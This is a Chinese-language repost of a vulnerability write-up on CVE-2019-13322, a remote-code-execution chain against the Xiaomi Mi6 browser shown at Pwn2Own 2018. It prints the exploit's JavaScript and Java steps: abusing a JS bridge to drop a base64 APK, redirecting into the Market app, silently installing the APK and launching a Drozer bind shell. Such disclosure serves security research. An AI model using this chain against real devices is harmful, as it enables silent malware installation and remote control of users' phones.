CVE-2019-13322 :Mi6浏览器RCE漏洞

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29

在Pwn2own 2018上, F-Secure Labs研究人员证明了当用小米Mi6浏览器连接到攻击者控制的web页面后,小米Mi6浏览器会被攻击。
具体步骤如下:
· 用户选择web页面、SMS消息或邮件中上的一个链接,链接回在小米浏览器应用中加载攻击者控制的web页面
· Web页面使用JS bridge技术自动下载HTML文件
· 使用可浏览视图来加载Market app
· Market app通过视图中提供的URL加载webView,加载攻击者的另一个web页面
· Web页面使用另一个JS bridge函数来安装下载的apk文件
使用intent代理自动启动app
技术细节
初始的web页面:下载文件和触发Market APP
第一步要求受害者访问攻击者控制的网站,而且必须建议指向攻击者页面的链接。初始的web页面会执行2个动作。首先,自动下载HTML文件。通过含有anchor元素的下载属性来自动下载再小米浏览器中是不允许的。但使用所有web页面中都包含的JS bridge是可以的。该bridge中含有一个名为share的函数,保存了base64编码的数据到硬盘上。然后APK文件也会用该方法保存。
@JavascriptInterface public void share(String arg8, String arg9, String arg10, String arg11, String arg12) {OutputStream v1_1;FileOutputStream v1;OutputStream v2;File v6;byte[] v5;…int v0 = "base64,".length() + arg11.indexOf("base64,");try {v5 = Base64.decode(arg11.substring(v0), 0);String v0_2 = arg8 != null || arg9 != null ? "share_" + arg8 + arg9 + arg10.hashCode() + ".jpg" : "jsShare.jpg";v6 = new File(com.android.browser.j.a.a(this.a), v0_2);v2 = null;
该方法可以用下面的含有要安装的apk文件作为base64编码的字符串的JS代码访问:
miui.share("foo","foo","foo","base64," + apkFile);
在该例子中,apk数据会保存到文件/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg中。
该文件成功下载后,web页面上就会有一个重定向到Market app (com.xiaomi.market)的链接。这可以通过创建一个iframe的src属性设置为可浏览的URL来完成:
var iFrame = document.createElement("iframe");var marketRedirUrl = "http://testxiaomi.com/XiaomiPoC/market.html";iFrame.src = "mimarket://browse?url=" + encodeURIComponent(marketRedirUrl);document.body.appendChild(iFrame);
这会加载Market app的JoinActivity活动。它使用提供的url参数作为WebView的URL。通过设定url参数为攻击者控制的web站点,攻击者就可以加载任意HTML到WebView中。
通过Market app触发安装
Market app中的WebView含有一个名为market的JS bridge。其中包含了一个可以使用本地文件系统上的文件来悄悄安装drozer APK的函数。下面的JS代码会触发前一步下载的文件的app安装:
function installAPK(){market.install('{"appInfo":{"id":"test", "packageName":"com.xiaomi.test", "appId":"com.xiaomi.test"}, "callBack":"test", "needArrange":true, "ref":"test", "refPosition":1234, "apkPath":"/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg"}');}
这会调用install方法并启动AppArrangeService服务,install方法会分析提供的JSON数据,AppArrangeService服务会悄悄地安装APK文件。
App自动启动
在该过程结束时,安装完成后,app会执行一个到JS代码的回调。这会尝试调用install函数调用中callBack参数中明明的JS函数。这会用来触发已安装的app的自动启动。测试JS函数如下:
function test(){document.location='intent://dzprovider/1#Intent;scheme=content;end';}
浏览器APP处理的格式中的content schemes如下所示:

Dzprovider就是Drozer app中的内容提供商:
尝试加载当前内容URL后,浏览器APP必须确定mimetype是什么。这是通过调用相关内容提供商的getType(Uri uri)方法来实现的。通过覆写Drozer app的该方法,那么就可以实现代码执行,然后用来启动Drozer bind shell:
@Overridepublic String getType(Uri uri) {Intent i = new Intent();i.addCategory("com.mwr.dz.START_EMBEDDED");i.setComponent(new ComponentName("com.mwr.dz","com.mwr.dz.services.ServerService"));Context c = getContext();c.startService(i);return “foo”;}